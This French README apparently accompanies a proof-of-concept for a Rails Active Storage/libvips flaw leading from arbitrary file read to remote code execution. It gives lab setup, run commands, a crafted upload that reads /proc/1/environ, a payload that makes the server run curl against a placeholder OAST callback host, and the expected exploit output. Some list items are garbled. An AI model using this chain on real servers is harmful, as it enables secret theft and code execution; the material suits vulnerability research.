
PoC pour CVE-2026-66066 dans Ruby on Rails
Ce dépôt reproduit la chaîne de lecture-de-fichier-vers-RCE d'Active Storage de Rails décrite par GHSA-xr9x-r78c-5hrm contre Rails 8.1.3, la version affectée la plus récente de la branche Rails 8.1. Rails 8.1.3.1 est le témoin corrigé.
Utilisez-le uniquement dans le laboratoire local jetable décrit ici. Le pilote HTTP refuse les cibles non-loopback (bien qu'il soit trivial de modifier le code Python pour des tests autorisés contre d'autres cibles).
La cible est une application Rails conventionnelle. Son image finale contient :
ruby:3.4.10-slim ;rails _VERSION_ new ;curl, libjemalloc2, libvips,
et sqlite3 ;./bin/thrust ./bin/rails server ; etUpload normal avec une seule pièce jointe Active Storage, des
actions HTML ordinaires new, create, et show, et une variante d'image PNG.Elle ne contient pas de constructeur d'artefact, d'artefact de téléversement, de pilote d'exploitation,
de constructeur Marshal, de code de rappel, de point de terminaison de diagnostic, de trace de chargeur,
de script de démarrage personnalisé, de fixture de secret cible, ni de route réservée à l'exploitation. Elle ne définit pas
VIPS_TRACE, ne réordonne pas l'environnement du processus, ne remplace pas le sérialiseur Active Storage,
ni ne configure un processeur d'image non par défaut.
Le .dockerignore racine n'envoie que Dockerfile et overlay/ à la construction.
Les scripts Python côté hôte et tous les artefacts générés sont exclus du
contexte de construction Docker, et pas simplement omis de l'étape de copie finale.
L'overlay complet de la cible est constitué de cinq fichiers ordinaires :
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
La page d'affichage utilise la transformation normale minimale :
<%= image_tag @upload.avatar.variant(format: :png) %>
Une nouvelle application Rails non modifiée n'a aucun modèle ni page d'application qui accepte une pièce jointe, donc ces cinq fichiers sont la fonctionnalité applicative minimale nécessaire pour représenter la condition de téléversement d'image non fiable de l'avis de sécurité.
Les prérequis sont Docker, OpenSSL, Python 3, et h5py pour le
constructeur d'artefact.
Dans le terminal 1 :
./run_lab.sh 8.1.3
Le script construit minimal-rails-vips:8.1.3, génère un
SECRET_KEY_BASE éphémère sauf s'il en est déjà fourni un, publie l'application
uniquement sur 127.0.0.1:3000, et exécute l'entrypoint généré de l'image et la
commande par défaut. Aucun répertoire source ni artefact n'est monté dans la cible.
Si le port 3000 est déjà occupé, choisissez un autre port loopback sans modifier l'image :
HOST_PORT=33020 ./run_lab.sh 8.1.3
Utilisez le même port dans le --target du pilote.
Dans le terminal 2 :
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://VOTRE-DOMAINE-OAST.example/callback
rails_vips_oast_poc.py est un constructeur et pilote HTTP à usage unique. Sauf
si --artifact est fourni, il construit le téléversement dans un répertoire temporaire privé,
le conserve pour la séquence complète de requêtes, et le supprime à la
sortie du processus. Il construit les deux étapes plutôt que de dépaqueter une charge utile
statique :
h5py de créer un fichier MATLAB/HDF5 avec un bloc utilisateur de 512 octets.uint8 petit-boutiste de 1 × 1024 nommé environment./proc/1/environ, décalage
zéro, avec une étendue bornée de 1 024 octets.MATLAB_class="uint8" et écrit l'en-tête MATLAB 5.0 utilisé par
le renifleur matload de libvips.Le programme RCE intégré est fixé à /usr/bin/curl avec un
tableau d'arguments structuré. Il effectue un GET vers l'URL OAST configurée et envoie uniquement
le jeton de corrélation aléatoire rails_ghsa_xr9x. Il n'utilise pas de shell et
n'inclut pas de secrets récupérés, de sortie de commande, de contenu de fichier, ni
d'identifiant de cible dans le rappel.
Les paramètres de l'artefact sont :
--external-path : fichier absolu côté cible, par défaut /proc/1/environ ;--bytes : étendue externe bornée de 128 à 4096, par défaut 1024 ;--oast : URL de base du rappel intégrée dans la charge utile ; et--nonce : nonce hexadécimal facultatif de 16 octets pour un artefact reproductible.L'URL OAST par défaut est sûre pour loopback. Fournissez une URL de récepteur accessible depuis le conteneur pour la vérification de bout en bout.
Pour conserver le téléversement généré à des fins d'inspection ou de réutilisation, ajoutez un chemin d'artefact :
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://VOTRE-DOMAINE-OAST.example/callback \
--artifact environment-read.bmp
Un --artifact existant est validé et réutilisé. Dans ce cas, --oast, s'il est
fourni, doit correspondre à son URL de rappel intégrée. Ajoutez --force pour reconstruire et
le remplacer atomiquement avec les paramètres actuels du constructeur.
Pour la création d'artefact sans aucune requête HTTP, le constructeur compagnon est toujours disponible :
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://VOTRE-DOMAINE-OAST.example/callback
--target est par défaut http://127.0.0.1:3000 et est restreint à un
loopback littéral ou localhost.
La sortie vulnérable attendue comprend :
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Faites correspondre oast_nonce dans le terminal avec le
paramètre de requête rails_ghsa_xr9x=<nonce> reçu par le service OAST. Le
HTTP 500 de la requête de représentation finale est attendu : le rappel
se produit pendant la reconstruction du Hash Marshal authentifié, avant que la
transformation globale n'échoue ensuite.
La partie constructeur nécessite h5py ; les parties HTTP et cryptographiques utilisent uniquement
la bibliothèque standard de Python :